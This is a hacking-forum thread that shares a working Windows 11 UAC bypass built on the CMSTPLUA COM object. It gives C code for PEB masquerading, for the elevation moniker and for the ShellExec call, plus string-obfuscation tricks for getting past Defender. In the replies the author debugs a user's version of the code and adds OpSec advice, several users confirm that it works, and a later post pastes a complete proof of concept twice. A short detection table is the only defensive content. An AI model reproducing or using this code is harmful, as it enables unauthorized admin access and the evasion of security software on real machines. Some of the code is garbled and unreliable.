

Forum:[Hack Forums](#)

Thread: [New UAC Bypass \(CMSTPLUA\)](#)

WinGV - January 20, 2026, 3:54 pm

CMSTPLUA UAC Bypass - How It Actually Works

Windows 11 25H2 | No Exploits Required | Tested January 2026

? INTRODUCTION

So for my first post on this forum, I decided to gift you with sharing a very nice UAC bypass that I use since quite a long time now... I didn't find it on the forum, so here's my contribution :

UAC (User Account Control) is supposed to prevent unauthorized privilege escalation. But Windows has a design flaw: certain Microsoft COM objects are auto-elevated, meaning they can run with admin privileges without showing a UAC prompt. CMSTPLUA is one of these trusted objects.

BUT, Windows checks if the calling process is a legitimate Microsoft binary before allowing the elevation. So we need to impersonate a trusted process.

? WHY CMSTPLUA?

CMSTPLUA (Connection Manager Setup Tool Profile Launcher Utility Application) was designed for network connection profile management. Microsoft marked it as "safe" for auto-elevation because it's part of Windows infrastructure.

The object exposes a ShellExec method that can launch any program — and because the COM object is elevated, that program inherits admin privileges.

Code CLSID: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}

IID: {6EDD6D74-C007-4E75-B76A-E5740995E24C}

Method: ShellExec (vtable index 9)

The attack: If we can convince Windows we're explorer.exe, we can use CMSTPLUA to launch anything as admin.

? STEP 1: PEB MASQUERADING

Every Windows process has a Process Environment Block (PEB) — a structure in memory containing process metadata. This includes the ImagePathName field, which stores the path to the executable.

Here's the trick: the PEB lives in user-space memory, meaning our own process can modify it. We simply overwrite the ImagePathName from our actual path to C:\Windows\explorer.exe.

Code // Access PEB via TEB (Thread Environment Block)

```
PEB_T* GetPEB() {
```

```

#ifdef _WIN64
    return (PEB_T*)__readgsqword(0x60); // x64: GS:[0x60]
#else
    return (PEB_T*)__readfsdword(0x30); // x86: FS:[0x30]
#endif
}

```

```

// Masquerade as explorer.exe
void MasqueradePEB() {
    PEB_T* peb = GetPEB();
    WCHAR fakePath[] = L"C:\\Windows\\explorer.exe";

    // Overwrite ImagePathName
    wcsncpy(peb->ProcessParameters->ImagePathName.Buffer, fakePath, MAX_PATH);

    // Also overwrite CommandLine for consistency
    wcsncpy(peb->ProcessParameters->CommandLine.Buffer, fakePath, MAX_PATH);
}

```

When Windows later checks "who is asking for elevation?", it reads our PEB and sees explorer.exe — a trusted path. The check passes.

Quote: This doesn't change what binary is actually running — it just changes what the process claims to be.

? STEP 2: COM ELEVATION MONIKER

Windows COM supports elevation monikers — a special syntax that requests elevated instantiation of a COM object:

Code Elevation:Administrator!new:{CLSID-HERE}

When we call CoGetObject() with this moniker and the CMSTPLUA CLSID, Windows:

- Checks if CMSTPLUA is in the auto-elevation whitelist ?
- Checks if caller appears to be trusted (reads our PEB) ?
- Creates the COM object with admin privileges

Code // Build elevation moniker and get elevated COM object

```

HRESULT GetElevatedCOMObject(ICMLuaUtil** ppUtil) {
    BIND_OPTS3 opts = {0};
    opts.cbStruct = sizeof(opts);
    opts.dwClassContext = CLSCTX_LOCAL_SERVER;

    // Elevation moniker requests admin privileges
    WCHAR moniker[] =
L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";

    // IID for ICMLuaUtil interface
    IID iid = {0x6EDD6D74, 0xC007, 0x4E75, {0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C}};

    return CoGetObject(moniker, (BIND_OPTS*)&opts, &iid, (void**)ppUtil);
}

```

We now have a handle to an elevated COM object.

? STEP 3: EXECUTE WITH PRIVILEGES

CMSTPLUA's interface includes a ShellExec method at vtable index 9. This method launches programs in the security context of the COM object — which is elevated.

Code // ICMLuaUtil vtable structure (partial)

```
typedef struct ICMLuaUtilVtbl {
    // IUnknown (0-2)
    HRESULT (*QueryInterface)(void*, REFIID, void**);
    ULONG (*AddRef)(void*);
    ULONG (*Release)(void*);
    // Padding methods (3-8)
    HRESULT (*Method3)(void*);
    HRESULT (*Method4)(void*);
    HRESULT (*Method5)(void*);
    HRESULT (*Method6)(void*);
    HRESULT (*Method7)(void*);
    HRESULT (*Method8)(void*);
    // ShellExec at index 9
    HRESULT (*ShellExec)(void*, LPCWSTR exe, LPCWSTR args, LPCWSTR dir, ULONG mask,
    ULONG show);
} ICMLuaUtilVtbl;
```

We call ShellExec with our own executable path plus a flag (like -elevated), causing our program to relaunch itself, but now with admin privileges.

Code // Execute program with elevated privileges

```
pUtil->lpVtbl->ShellExec(pUtil, L"C:\\path\\to\\our.exe", L"-elevated", NULL, 0, SW_SHOW);
No UAC prompt ever appears.
```

? THE COMPLETE FLOW

Code [1] Our process starts (non-admin)

?

[2] Save our real path (BEFORE masquerade!)

?

[3] Overwrite PEB to claim we're explorer.exe

?

[4] Request CMSTPLUA via elevation moniker

?

[5] Windows checks caller -> sees "explorer.exe" -> allows it

?

[6] Call ShellExec(our_real_path, "-elevated")

?

[7] New instance spawns WITH ADMIN PRIVILEGES

Code int main(int argc, char* argv[]) {

 // Check if we're already elevated

 if (argc > 1 && strcmp(argv[1], "-elevated") == 0) {

 // Running elevated - do privileged operations here

 printf("[+] Running with admin privileges!\n");

 return 0;

 }

```

// IMPORTANT: Save real path BEFORE masquerading
WCHAR selfPath[MAX_PATH];
GetModuleFileNameW(NULL, selfPath, MAX_PATH);

// Masquerade as explorer.exe
MasqueradePEB();

// Initialize COM
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);

// Get elevated COM object and execute
ICMLuaUtil* pUtil = NULL;
if (SUCCEEDED(GetElevatedCOMObject(&pUtil))) {
    pUtil->IpVtbl->ShellExec(pUtil, selfPath, L"-elevated", NULL, 0, SW_SHOW);
    pUtil->IpVtbl->Release(pUtil);
}

CoUninitialize();
return 0;
}

```

NOTE: We save the path before masquerading because GetModuleFileName() reads from PEB — after masquerade it would return the fake path!

? WHY THIS BYPASSES DEFENDER

The technique avoids several detection triggers:

No cmd.exe in process tree -> Direct COM/API calls

No suspicious strings in binary -> Built char-by-char at runtime

Legitimate Windows mechanism -> Using COM as designed, just lying about identity

String obfuscation example to avoid static signatures:

Code // BAD: Detectable string in binary

```
WCHAR clsid[] = L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
```

// GOOD: Build at runtime, no signature

```

void BuildCLSID(WCHAR* out) {
    WCHAR p1[] = {'{','3','E','5','F','C','7','F','9','-','0'};
    WCHAR p2[] = {'9','A','5','1','-','0'};
    WCHAR p3[] = {'4','3','6','7','-','0'};
    WCHAR p4[] = {'9','0','6','3','-','0'};
    WCHAR p5[] = {'A','1','2','0','2','4','4','F','B','E','C','7','}','0'};

    wcscpy(out, p1);
    wcscat(out, p2);
    wcscat(out, p3);
    wcscat(out, p4);
    wcscat(out, p5);
}

```

? DETECTION VECTORS (FOR DEFENDERS)

[th]What to Monitor[/th][th]Why[/th] PEB vs actual binary mismatchProcess claims explorer.exe but hash doesn't match CMSTPLUA spawning childrenThis COM object shouldn't launch arbitrary programs Unsigned binaries using elevation monikersLegitimate software doesn't typically need this

Code # ETW trace for COM elevation monikers

```
Get-WinEvent -LogName "Microsoft-Windows-Security-Auditing" |  
Where-Object { $_.Message -like "*CMSTPLUA*" -or $_.Message -like "**elevation*" }
```

Full PoC code joined. It might get detected on compiling or runtime. You might need to obfuscate a little bit.

Terry A. Davis - January 20, 2026, 3:57 pm

Not sure if this is overly [unique](#).

Seems to be the same method, 2 years after this guy.

WinGV - January 20, 2026, 4:11 pm

(Jan 20, 2026 04:57 PM)Terry A. Davis Wrote: [\[CITE\]](#) Not sure if this is overly [unique](#).

Seems to be the same method, 2 years after this guy.

It is indeed. And years before "this guy" there were also 50+ other working bypass methods here (that worked already 5-10 years ago, including CMSTPLUA): github.com/hfiref0x/UACME

It was not on this forum, and is still perfectly working, so why not sharing it ?

Terry A. Davis - January 20, 2026, 4:12 pm

(Jan 20, 2026 05:11 PM)WinGV Wrote: [\[CITE\]](#) It is indeed. And years before "this guy" there were also 50+ other working bypass methods here (that worked already 5-10 years ago, including CMSTPLUA): github.com/hfiref0x/UACME

It was not on this forum, and is still perfectly working, so why not sharing it ?

Because when I was reading it, it seemed jazzed up by using AI and changed enough to not be considered plagiarism.

WinGV - January 20, 2026, 4:19 pm

(Jan 20, 2026 05:12 PM)Terry A. Davis Wrote: [\[CITE\]](#) Because when I was reading it, it seemed jazzed up by using AI and changed enough to not be considered plagiarism.

It's changed because that's the code I was using in my PE.

So we're not allowed to share old working approaches on the forum without being flamed ? Are you expecting 0-days on HF ?

In that case there are countless of other contributions you could mark as "plagiarism" on the forum.

UNST0P4B1E - January 21, 2026, 12:15 pm

I tried to make it using your step, but it wouldn't work I think it because Windows won't let me use ICMLuaUtil interface, because when I execute it " pUtil " is NULL, idk if im doing something wrong or Windows just flag it, btw im on Win11

```
int main() {  
HANDLE hProc = GetCurrentProcess();
```

```

PPEB pPEB;
PROCESS_BASIC_INFORMATION pbi;

WCHAR fakePath[] = L"C:\\Windows\\explorer.exe";

WCHAR selfPath[MAX_PATH];
GetModuleFileNameW(NULL, selfPath, MAX_PATH);

NtQueryInformationProcess(hProc, ProcessBasicInformation, &pbi, sizeof(pbi), nullptr);
pPEB = (PPEB)pbi.PebBaseAddress;
printf("pPEB : %p\n", (void*)pPEB);

wcsncpy(pPEB->ProcessParameters->ImagePathName.Buffer, fakePath, MAX_PATH);
wcsncpy(pPEB->ProcessParameters->CommandLine.Buffer, fakePath, MAX_PATH);

HRESULT hr;

CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);

BIND_OPTS3 opts;
ZeroMemory(&opts, sizeof(opts));

opts.cbStruct = sizeof(BIND_OPTS3);
opts.dwClassContext = CLSCTX_LOCAL_SERVER;

IID iid = { 0x6EDD6D74, 0xC007, 0x4E75, {0xB7,0x6A,0xE5,0x74,0x09,0x95,0xE2,0x4C} };

WCHAR out[67] = L"Elevation:Administrator!new:{";
WCHAR p1[] = { '{','3','E','5','F','C','7','F','9','-','0' };
WCHAR p2[] = { '9','A','5','1','-','0' };
WCHAR p3[] = { '4','3','6','7','-','0' };
WCHAR p4[] = { '9','0','6','3','-','0' };
WCHAR p5[] = { 'A','1','2','0','2','4','4','F','B','E','C','7','}',0 };

wcscat(out, p1);
wcscat(out, p2);
wcscat(out, p3);
wcscat(out, p4);
wcscat(out, p5);
wcscat(out, L"}");

printf("out : %ls\n", out);

ICMLuaUtil* pUtil = NULL;
hr = CoGetObject(out, (BIND_OPTS*)&opts, iid, (void**)&pUtil);

if (FAILED(hr) || !pUtil) {
    // gérer l'erreur
    CoUninitialize();
    return 1;
}

```

```
pUtil->lpVtbl->ShellExec(pUtil, L"C:\\Windows\\System32\\cmd.exe", L"-elevated", NULL, 0, SW_SHOW);
```

```
pUtil->lpVtbl->ShellExec(pUtil, selfPath, L"-elevated", NULL, 0, SW_SHOW);  
pUtil->lpVtbl->Release(pUtil);
```

```
CoUninitialize();
```

```
return 0;  
}
```

CoCoCHanel - January 22, 2026, 4:17 am
dont work

WinGV - January 22, 2026, 5:04 am

(Jan 21, 2026 01:15 PM)UNST0P4B1E Wrote: [\[CITE\]](#) I tried to make it using your step, but it wouldn't work I think it because Windows won't let me use

ICMLuaUtil interface, because when I execute it " pUtil* " is NULL, idk if im doing something wrong or Windows just flag it, btw im on Win11

```
int main() {  
HANDLE hProc = GetCurrentProcess();
```

```
PPEB pPEB;  
PROCESS_BASIC_INFORMATION pbi;
```

```
WCHAR fakePath[] = L"C:\\Windows\\explorer.exe";
```

```
WCHAR selfPath[MAX_PATH];  
GetModuleFileNameW(NULL, selfPath, MAX_PATH);
```

```
NtQueryInformationProcess(hProc, ProcessBasicInformation, &pbi, sizeof(pbi), nullptr);  
pPEB = (PPEB)pbi.PebBaseAddress;  
printf("pPEB : %p\n", (void*)pPEB);
```

```
wcsncpy(pPEB->ProcessParameters->ImagePathName.Buffer, fakePath, MAX_PATH);  
wcsncpy(pPEB->ProcessParameters->CommandLine.Buffer, fakePath, MAX_PATH);
```

```
HRESULT hr;
```

```
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
```

```
BIND_OPTS3 opts;  
ZeroMemory(&opts, sizeof(opts));
```

```
opts.cbStruct = sizeof(BIND_OPTS3);  
opts.dwClassContext = CLSCTX_LOCAL_SERVER;
```

```
IID iid = { 0x6EDD6D74, 0xC007, 0x4E75, {0xB7,0x6A,0xE5,0x74,0x09,0x95,0xE2,0x4C} };
```

```

WCHAR out[67] = L"Elevation:Administrator!new:{";
WCHAR p1[] = { '{','3','E','5','F','C','7','F','9','-','0' };
WCHAR p2[] = { '9','A','5','1','-','0' };
WCHAR p3[] = { '4','3','6','7','-','0' };
WCHAR p4[] = { '9','0','6','3','-','0' };
WCHAR p5[] = { 'A','1','2','0','2','4','4','F','B','E','C','7','}','0' };

wcscat(out, p1);
wcscat(out, p2);
wcscat(out, p3);
wcscat(out, p4);
wcscat(out, p5);
wcscat(out, L"}");

printf("out : %ls\n", out);

ICMLuaUtil* pUtil = NULL;
hr = CoGetObject(out, (BIND_OPTS*)&opts, iid, (void*)&pUtil);

if (FAILED(hr) || !pUtil) {
    // gérer l'erreur
    CoUninitialize();
    return 1;
}

pUtil->IpVtbl->ShellExec(pUtil, L"C:\\Windows\\System32\\cmd.exe", L"-elevated", NULL, 0,
SW_SHOW);

pUtil->IpVtbl->ShellExec(pUtil, selfPath, L"-elevated", NULL, 0, SW_SHOW);
pUtil->IpVtbl->Release(pUtil);

CoUninitialize();

return 0;
}
hey !
thanks for your interest.
I can see 2 major flaws in the code you posted.

```

First there is a double opening/closing brace here:

```

WCHAR out[67] = L"Elevation:Administrator!new:{"; Already has '{'
WCHAR p1[] = { '{','3','E','5','F','C','7','F','9','-','0' }; Starts with '{' again

```

then

```

WCHAR p5[] = { 'A','1','2','0','2','4','4','F','B','E','C','7','}','0' }; Already has '}'
wcscat(out, L"}"); Adds another '}'

```

resulting in Elevation:Administrator!new:{{3E5FC7F9-9A51-4367-9063-A120244FBEC7}} when COM moniker expects exactly this format :
Elevation:Administrator!new:{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXXX}

2nd bug is a missing & before iid : `hr = CoGetObject(out, (BIND_OPTS*)&opts, iid, (void*)&pUtil);`
should be `hr = CoGetObject(out, (BIND_OPTS*)&opts, &iid, (void**)&pUtil);`

There is another issue in the code you shared, but it's more of OpSec concern : you left a "// gérer l'erreur" hanging around, meaning you're most likely french speaker. I'm allowing myself to tell you here in public because I noticed you're a new account and it doesn't really matter, but be careful in the future ;)

Let me know if you need any more help with the method.

Cheers !

(Jan 22, 2026 05:17 AM)CoCoCHanel Wrote: [\[CITE\]](#) dont work
Care to elaborate ? What is not working exactly ? Any error message ?

UNST0P4B1E - January 22, 2026, 11:44 am

no suitable constructor exists to convert from "IID *" (aka "_GUID *") to "_GUID"

When i try to put "&" on the IDD

WinGV - January 23, 2026, 4:53 am

(Jan 22, 2026 12:44 PM)UNST0P4B1E Wrote: [\[CITE\]](#) no suitable constructor exists to convert from "IID *" (aka "_GUID *") to "_GUID"

When i try to put "&" on the IDD

Strange. It looks like a compiler problem. Are you using C ? The PoC I built is written in C, but should also work in C++, with slightly different syntax, that might be the issue there.

UNST0P4B1E - January 23, 2026, 6:48 am

Ohhh maybe I try
thank bro, the bypass work perfect

shasu - January 23, 2026, 3:21 pm

Thanks a lot ! I tried the PoC and it works. That's gonna up my little PEs !

WinGV - January 23, 2026, 3:29 pm

(Jan 23, 2026 07:48 AM)UNST0P4B1E Wrote: [\[CITE\]](#) Ohhh maybe I try
thank bro, the bypass work perfect
Amazing ! Glad to hear you succeeded.

ryewx1 - April 26, 2026, 7:54 am

it works nicely

OtterLover - April 28, 2026, 3:36 am

GOOD is Work

nothingmate - July 28, 2026, 10:28 pm

May I get a pm for the txt, no bytes unfortunately would appreciate it and any other tools/information regarding this stuff

I appreciate your insights

thank you

SSTAVISS - July 31, 2026, 9:55 pm

You might find it useful. #include <windows.h>

#include <winternl.h>

#include <stdio.h>

#include <shlwapi.h>

#pragma comment(lib, "Shlwapi.lib")

typedef struct ICMLuaUtilVtbl ICMLuaUtilVtbl;

typedef struct ICMLuaUtil {

ICMLuaUtilVtbl* lpVtbl;

} ICMLuaUtil;

typedef struct ICMLuaUtilVtbl {

HRESULT(__stdcall* QueryInterface)(ICMLuaUtil* This, REFIID riid, void ppvObject);

ULONG(__stdcall* AddRef)(ICMLuaUtil* This);

ULONG(__stdcall* Release)(ICMLuaUtil* This);

HRESULT(__stdcall* Method1)(ICMLuaUtil* This);

HRESULT(__stdcall* Method2)(ICMLuaUtil* This);

HRESULT(__stdcall* Method3)(ICMLuaUtil* This);

HRESULT(__stdcall* Method4)(ICMLuaUtil* This);

HRESULT(__stdcall* Method5)(ICMLuaUtil* This);

HRESULT(__stdcall* Method6)(ICMLuaUtil* This);

HRESULT(__stdcall* ShellExec)(ICMLuaUtil* This, LPCWSTR lpFile, LPCWSTR lpParameters,
LPCWSTR lpDirectory, ULONG fMask, ULONG nShow);

} ICMLuaUtilVtbl;

void GetDecryptedString(WCHAR* buffer, size_t maxlen) {

swprintf_s(buffer, maxlen, L"Elevation:Administrator!new:{%s-%s-%s-%s-%s}",

L"3E5FC7F9", L"9A51", L"4367", L"9063", L"A120244FBEC7");

}

BOOL SafePEBMasquerade(LPCWSTR lpFakePath) {

PPEB pPeb;

#if defined(_WIN64)

pPeb = (PPEB)__readgsqword(0x60);

#else

pPeb = (PPEB)__readfsdword(0x30);

#endif

if (!pPeb || !pPeb->ProcessParameters) return FALSE;

```

    LPWSTR newBuffer = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
MAX_PATH sizeof(WCHAR));
    if (!newBuffer) return FALSE;

    wcscpy_s(newBuffer, MAX_PATH, lpFakePath);

    USHORT newLen = (USHORT)(wcslen(lpFakePath) sizeof(WCHAR));

    pPeb->ProcessParameters->ImagePathName.Buffer = newBuffer;
    pPeb->ProcessParameters->ImagePathName.Length = newLen;
    pPeb->ProcessParameters->ImagePathName.MaximumLength = (USHORT)(MAX_PATH
sizeof(WCHAR));

    pPeb->ProcessParameters->CommandLine.Buffer = newBuffer;
    pPeb->ProcessParameters->CommandLine.Length = newLen;
    pPeb->ProcessParameters->CommandLine.MaximumLength = (USHORT)(MAX_PATH
sizeof(WCHAR));

    return TRUE;
}

int main() {

    WCHAR sysDir[MAX_PATH];
    WCHAR fakePath[MAX_PATH];
    WCHAR targetPayload[MAX_PATH];
    WCHAR selfPath[MAX_PATH];

    GetSystemDirectoryW(sysDir, MAX_PATH);
    GetModuleFileNameW(NULL, selfPath, MAX_PATH);

    swprintf_s(fakePath, MAX_PATH, L"%s\\..\\explorer.exe", sysDir);
    swprintf_s(targetPayload, MAX_PATH, L"%s\\cmd.exe", sysDir);

    if (!SafePEBMasquerade(fakePath)) {
        return 1;
    }

    HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    if (FAILED(hr)) return 1;

    BIND_OPTS3 opts = { 0 };
    opts.cbStruct = sizeof(BIND_OPTS3);
    opts.dwClassContext = CLSCTX_LOCAL_SERVER;

```

```
IID riid_ICMLuaUtil = { 0x6EDD6D74, 0xC007, 0x4E75,  
{0xB7,0x6A,0xE5,0x74,0x09,0x95,0xE2,0x4C} };
```

```
WCHAR monikerString[128];  
GetDecryptedString(monikerString, 128);
```

```
ICMLuaUtil* pUtil = NULL;  
hr = CoGetObject(monikerString, (BIND_OPTS*)&opts, riid_ICMLuaUtil, (void*)&pUtil);
```

```
if (SUCCEEDED(hr) && pUtil) {
```

```
    pUtil->IpVtbl->ShellExec(pUtil, targetPayload, L"/c echo Simulacion_De_Defensa", NULL, 0,  
SW_HIDE);  
    pUtil->IpVtbl->Release(pUtil);  
}
```

```
CoUninitialize();  
return 0;
```

```
}
```

```
#include <windows.h>  
#include <winternl.h>  
#include <stdio.h>  
#include <shlwapi.h>
```

```
#pragma comment(lib, "Shlwapi.lib")
```

```
typedef struct ICMLuaUtilVtbl ICMLuaUtilVtbl;  
typedef struct ICMLuaUtil {  
    ICMLuaUtilVtbl* IpVtbl;  
} ICMLuaUtil;
```

```
typedef struct ICMLuaUtilVtbl {  
    HRESULT(__stdcall* QueryInterface)(ICMLuaUtil* This, REFIID riid, void ppvObject);  
    ULONG(__stdcall* AddRef)(ICMLuaUtil* This);  
    ULONG(__stdcall* Release)(ICMLuaUtil* This);  
    HRESULT(__stdcall* Method1)(ICMLuaUtil* This);  
    HRESULT(__stdcall* Method2)(ICMLuaUtil* This);  
    HRESULT(__stdcall* Method3)(ICMLuaUtil* This);  
    HRESULT(__stdcall* Method4)(ICMLuaUtil* This);  
    HRESULT(__stdcall* Method5)(ICMLuaUtil* This);  
    HRESULT(__stdcall* Method6)(ICMLuaUtil* This);  
    HRESULT(__stdcall* ShellExec)(ICMLuaUtil* This, LPCWSTR lpFile, LPCWSTR lpParameters,  
LPCWSTR lpDirectory, ULONG fMask, ULONG nShow);  
} ICMLuaUtilVtbl;
```

```
void GetDecryptedString(WCHAR* buffer, size_t maxlen) {
```

```
    swprintf_s(buffer, maxlen, L"Elevation:Administrator!new:{%s-%s-%s-%s-%s}",  
    L"3E5FC7F9", L"9A51", L"4367", L"9063", L"A120244FBEC7");
```

```
}
```

```
BOOL SafePEBMasquerade(LPCWSTR lpFakePath) {
```

```
    PPEB pPeb;
```

```
    #if defined(_WIN64)
```

```
        pPeb = (PPEB)__readgsqword(0x60);
```

```
    #else
```

```
        pPeb = (PPEB)__readfsdword(0x30);
```

```
    #endif
```

```
    if (!pPeb || !pPeb->ProcessParameters) return FALSE;
```

```
    LPWSTR newBuffer = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,  
MAX_PATH sizeof(WCHAR));
```

```
    if (!newBuffer) return FALSE;
```

```
    wcscpy_s(newBuffer, MAX_PATH, lpFakePath);
```

```
    USHORT newLen = (USHORT)(wcslen(lpFakePath) sizeof(WCHAR));
```

```
    pPeb->ProcessParameters->ImagePathName.Buffer = newBuffer;
```

```
    pPeb->ProcessParameters->ImagePathName.Length = newLen;
```

```
    pPeb->ProcessParameters->ImagePathName.MaximumLength = (USHORT)(MAX_PATH  
sizeof(WCHAR));
```

```
    pPeb->ProcessParameters->CommandLine.Buffer = newBuffer;
```

```
    pPeb->ProcessParameters->CommandLine.Length = newLen;
```

```
    pPeb->ProcessParameters->CommandLine.MaximumLength = (USHORT)(MAX_PATH  
sizeof(WCHAR));
```

```
    return TRUE;
```

```
}
```

```
int main() {
```

```
    WCHAR sysDir[MAX_PATH];
```

```
    WCHAR fakePath[MAX_PATH];
```

```
    WCHAR targetPayload[MAX_PATH];
```

```
    WCHAR selfPath[MAX_PATH];
```

```
    GetSystemDirectoryW(sysDir, MAX_PATH);
```

```
    GetModuleFileNameW(NULL, selfPath, MAX_PATH);
```

```
    swprintf_s(fakePath, MAX_PATH, L"%s\\..\\explorer.exe", sysDir);
```

```
    swprintf_s(targetPayload, MAX_PATH, L"%s\\cmd.exe", sysDir);
```

```

if (!SafePEBMasquerade(fakePath)) {
    return 1;
}

HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
if (FAILED(hr)) return 1;

BIND_OPTS3 opts = { 0 };
opts.cbStruct = sizeof(BIND_OPTS3);
opts.dwClassContext = CLSCTX_LOCAL_SERVER;

IID riid_ICMLuaUtil = { 0x6EDD6D74, 0xC007, 0x4E75,
{0xB7,0x6A,0xE5,0x74,0x09,0x95,0xE2,0x4C} };

WCHAR monikerString[128];
GetDecryptedString(monikerString, 128);

ICMLuaUtil* pUtil = NULL;
hr = CoGetObject(monikerString, (BIND_OPTS*)&opts, riid_ICMLuaUtil, (void*)&pUtil);

if (SUCCEEDED(hr) && pUtil) {

    pUtil->IpVtbl->ShellExec(pUtil, targetPayload, L"/c echo Simulacion_De_Defensa", NULL, 0,
SW_HIDE);
    pUtil->IpVtbl->Release(pUtil);
}

CoUninitialize();
return 0;
}

```

Voldmote - September 27, 2026, 5:58 am
it works nicely

oggymind - October 7, 2026, 9:28 am
i think it will work????

promptgenix - October 8, 2026, 11:26 am
will try it and return